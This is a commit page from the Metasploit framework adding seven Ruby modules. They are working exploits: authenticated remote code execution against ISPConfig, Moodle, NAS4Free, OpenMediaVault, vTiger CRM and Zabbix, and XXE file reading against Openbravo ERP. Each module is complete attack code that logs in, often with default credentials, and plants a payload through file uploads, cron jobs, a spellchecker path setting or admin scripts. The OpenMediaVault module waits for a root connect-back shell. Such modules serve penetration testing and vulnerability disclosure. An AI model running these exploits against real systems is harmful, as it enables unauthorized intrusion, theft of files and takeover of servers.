Add a few more modules.

bug/bundler_fix 2013103001
Tod Beardsley 2013-10-30 10:25:48 -05:00
parent 4b7a438d45
commit 5b76947767
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
7 changed files with 966 additions and 0 deletions

View File

@ -0,0 +1,134 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
'Description' => %q{
ISPConfig allows an authenticated administrator to export language settings into a PHP script
which is intended to be reuploaded later to restore language settings. This feature
can be abused to run aribtrary PHP code remotely on the ISPConfig server.
This module was tested against version 3.0.5.2.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3629']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
], self.class)
end
def check
end
def lng
datastore['LANGUAGE']
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
if !init or init.code != 200
fail_with("Error getting initial page.")
end
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'passwort' => datastore["PASSWORD"],
's_mod' => 'login',
's_pg' => 'index'
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/content.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 200
fail_with("Error authenticating.")
end
sess = login.get_cookies
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
php << "--|global|#{lng}|#{lng}.lng\n"
php << "<?php \n"
php << payload.encoded
php << "?>\n"
php << "--|mail|#{lng}|#{lng}.lng\n"
php << "<?php"
php << "?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
data.add_part('', nil, nil, 'form-data; name="id"')
data_post = data.to_s
print_status("Sending payload")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
post = {
'lng_select' => 'es'
}
print_status("Triggering payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
'vars_post' => post,
'cookie' => sess
})
end
end

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Moodle Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['URL', 'http://www.exploit-db.com/exploits/28174/'], #xss vuln allowing sesskey of admins to be stolen
['CVE', '2013-3630']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
], self.class)
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 303
fail_with("Login failed")
end
sess = login.get_cookies
print_status("Getting session key to update spellchecker if no session key was specified")
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
'cookie' => sess
})
tinymce.body.each_line do |line|
next if line !~ /name="sesskey"/
sesskey = line[0..line.index('>')]
end
if sesskey == ''
fail_with("Unable to get proper session key")
end
sesskey = REXML::Document.new sesskey
sesskey = sesskey.root.attributes["value"]
else
sesskey = datastore['SESSKEY']
end
post = {
'section' => 'editorsettingstinymce',
'sesskey' => sesskey,
'return' => '',
's_editor_tinymce_spellengine' => 'PSpellShell',
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
}
print_status("Updating spellchecker to use the system aspell")
post = {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
}
aspell = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => post,
'cookie' => sess
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status("Triggering payload")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Error triggering payload")
end
end
end

View File

@ -0,0 +1,128 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'rexml/document'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NAS4Free Arbitrary Remote Code Execution',
'Description' => %q{
NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
the code executed remotely. This module was successfully tested against NAS4Free version
9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
},
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3631']
],
'Payload' =>
{
'Space' => 21244,
'DisableNops' => true,
'BadChars' => ''
},
'Targets' =>
[
[ 'Automatic Target', { } ]
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0))
register_options([
OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
], self.class)
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 302
fail_with("Login failed")
end
exec_resp = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/exec.php'),
'cookie' => sess
})
if !exec_resp or exec_resp.code != 200
fail_with('Error getting auth token from exec.php')
end
authtoken = ''
#The html returned is not well formed, so I can't parse it with rexml
exec_resp.body.each_line do |line|
next if line !~ /authtoken/
authtoken = line
end
doc = REXML::Document.new authtoken
input = doc.root
if !input
fail_with('Error getting auth token')
end
token = input.attributes["value"]
data = Rex::MIME::Message.new
data.add_part('', nil, nil, 'form-data; name="txtCommand"')
data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
data.add_part('', nil, nil, 'form-data; name="dlPath"')
data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
#data.add_part(token, nil, nil, 'form-data; name="authtoken"')
#I need to build the last data part by hand due to a bug in rex
data_post = data.to_s
data_post = data_post[0..data_post.length-data.bound.length-7]
data_post << "\r\n--#{data.bound}"
data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
data_post << token
data_post << "\r\n--#{data.bound}--\r\n\r\n"
resp = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/exec.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
end
end

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'net/dns'
require 'rexml/document'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
'Description' => %q{
The Openbravo ERP XML API expands external entities which can be defined as
local files. This allows the user to read any files from the FS as the
user Openbravo is running as (generally not root).
This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 30 2013'
))
register_options(
[
OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']),
OptString.new('USERNAME', [true, "The Openbravo user", "Openbravo"]),
OptString.new('PASSWORD', [true, "The Openbravo password", "openbravo"]),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"])
], self.class)
end
def run
print_status("Requesting list of entities from endpoint, this may take a minute...")
users = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}, 60)
if !users or users.code != 200
fail_with("Invalid response. Check your credentials and that the server is correct.")
end
xml = path = id = other_id = '' #for later use
doc = REXML::Document.new users.body
doc.root.elements.each do |user|
id = user.attributes["id"]
other_id = user.attributes["identifier"]
print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
print_status("Trying #{other_id}")
xml = %Q{<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT comments ANY >
<!ENTITY xxe SYSTEM "file://}
xml << "#{datastore['FILEPATH']}\" > ]>\n"
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">"
xml << "<id>#{id}</id>"
xml << '<comments>&xxe;</comments>'
xml << "</#{datastore["ENDPOINT"]}>"
xml << '</ob:Openbravo>'
resp = send_request_raw({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'data' => xml,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if !resp or resp.code != 200 or resp.body =~ /Not updating entity/
print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
next
end
print_status("Found writeable #{datastore["ENDPOINT"]}: #{other_id}")
u = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
u = REXML::Document.new u.body
path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
break
end
if path != ''
print_status("Cleaning up after ourselves...")
xml.sub!('&xxe;', '')
send_request_raw({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'data' => xml,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
print_good("File saved to: #{path}")
end
end
end

View File

@ -0,0 +1,94 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'OpenMediaVault Cron Remote Command Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3632']
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
], self.class)
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})
if !login or login.code != 200
fail_with("Login failed")
end
sess = login.get_cookies
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
post << payload.encoded.gsub('"', '\"')
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Posting cron failed.")
end
print_status("Waiting for connect-back, this will take up to a minute")
end
end

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
'Description' => %q{
vTiger CRM allows an authenticated user to upload files to embed within documents.
Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
script and execute aribtrary PHP code remotely.
This module was tested against vTiger CRM v5.4.0 and v5.3.0.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
], self.class)
end
def check
res = nil
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
rescue
print_error("Unable to access the index.php file")
return CheckCode::Unknown
end
if res and res.code != 200
print_error("Error accessing the index.php file")
return CheckCode::Unknown
end
if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
print_status("vTiger CRM version: " + $1)
case $1
when '5.4.0', '5.3.0'
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end
return CheckCode::Unknown
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD']
}
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'vars_post' => post,
'cookie' => sess
})
fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
cookies = login.get_cookies
php = %Q|<?php #{payload.encoded} ?>|
data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
data.add_part('files', nil, nil, 'form-data; name="dir"')
data_post = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => cookies
})
if res and res.code == 200
print_status("Triggering payload...")
send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
end
end
end

View File

@ -0,0 +1,203 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.
This module was tested againt Zabbix v2.0.9.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3628']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
], self.class)
end
def check
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/index.php")
})
if !init or init.code != 200
print_error("Could not connect to server")
return Exploit::CheckCode::Unknown
end
if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
if $1 >= "2.0.0" and $1 <= "2.0.8"
print_good("Version #{$1} is vulnerable.")
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end
def exploit
c = connect
req = c.request_cgi({
'method' => 'POST',
'uri' => '/zabbix/',
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
})
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))
if !login or login.code != 302
fail_with("Login failed")
end
sess = login.headers['Set-Cookie']
dash = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
'cookie' => sess
})
if !dash or dash.code != 200
fail_with("Dashboard failed")
end
sid = ''
dash.body.each_line do |line|
if line =~ /&sid=(.{16})\">/
sid = $1
break
end
end
if sid == ''
fail_with("Could not get sid")
end
script_title = rand_text_alpha(18)
post = {
'sid' => sid,
'form_refresh' => 3,
'form' => 'Create+script',
'name' => script_title,
'type' => 0,
'execute_on' => 1,
'command' => payload.encoded,
'commandipmi' => '',
'description' => '',
'usrgrpid' => 0,
'groupid' => 0,
'access' => 2,
'save' => 'Save'
}
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/scripts.php'),
'vars_post' => post,
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Error creating script")
end
script_id = ''
if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
script_id = $1
else
fail_with("Could not get the script id")
end
host = rand_text_alpha(18)
post = {
'sid' => sid,
'form_refresh' => 1,
'form' => 'Create+host',
'host' => host,
'visiblename' => host,
'groups_left' => 4,
'newgroup' => '',
'interfaces[1][isNew]' => true,
'interfaces[1][interfaceid]' => 1,
'interfaces[1][type]' => 1,
'interfaces[1][ip]' => '127.0.0.1',
'interfaces[1][dns]' => '',
'interfaces[1][useip]' => 1,
'interfaces[1][port]' => 10050,
'mainInterfaces[1]' => 1,
'proxy_hostid' => 0,
'status' => 0,
'ipmi_authtype' => -1,
'ipmi_privilege' => 2,
'ipmi_username' => '',
'ipmi_password' => '',
'macros[0][macro]' => '',
'macros[0][value]' => '',
'inventory_mode' => -1,
'save' => 'Save',
'groups[4]' => 4
}
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hosts.php'),
'vars_post' => post,
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Error creating new host")
end
hostid = ''
if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
hostid = $1
else
fail_with("Could not get the host id")
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
'cookie' => sess
})
end
end